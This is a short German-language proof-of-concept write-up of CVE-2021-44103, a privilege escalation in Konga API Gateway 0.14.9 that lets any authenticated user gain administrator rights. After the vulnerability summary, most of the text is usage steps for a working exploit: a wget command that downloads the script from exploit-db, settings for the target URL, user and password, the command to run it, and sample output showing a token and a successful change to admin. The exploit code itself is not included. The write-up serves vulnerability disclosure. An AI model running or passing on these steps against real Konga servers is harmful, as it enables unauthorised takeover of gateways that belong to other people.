
Proof-of-Concept-Exploit für CVE-2021-44103, der eine vertikale Privilegieneskalation in Konga API Gateway 0.14.9 demonstriert und es authentifizierten Benutzern ermöglicht, Administratorzugriff zu erlangen.
Ein Proof of Concept für KONGA 0.14.9 - Privilegienerweiterung.
Am 16. November 2021 fanden Fabrício Salomão und ich eine Schwachstelle in Konga API Gateways, die es jedem authentifizierten Benutzer ermöglicht, Administrator zu werden.
Product: KONGA
Model: 0.14.9
Vulnerability: Privilegienerweiterung
Impact: Voller Admin-Zugriff (vertikale Privilegienerweiterung)
Authentication: erforderlich
Exploit-Autor: Fabricio Salomao / Paulo Trindade
Unten wurde ein normaler Benutzer namens "usernormal" ohne Privilegien erstellt.


Durch die folgende Anfrage wurde das Flag "FALSE" im Parameter "admin" in "TRUE" geändert.

Daher wurde für uns ein Exploit erstellt: https://www.exploit-db.com/exploits/50521

Nach dem Ausführen des Exploits war die Privilegienerweiterung erfolgreich!
Ergebnis:

wget https://www.exploit-db.com/raw/50521 -O 50521.py
Edit 50521.py
Modify:
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
Execute:
python 50521.py
[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success
http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
https://www.exploit-db.com/exploits/50521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44103
https://github.com/advisories/GHSA-f2mp-8fgg-7465
https://security.snyk.io/vuln/SNYK-JS-KONGA-2434821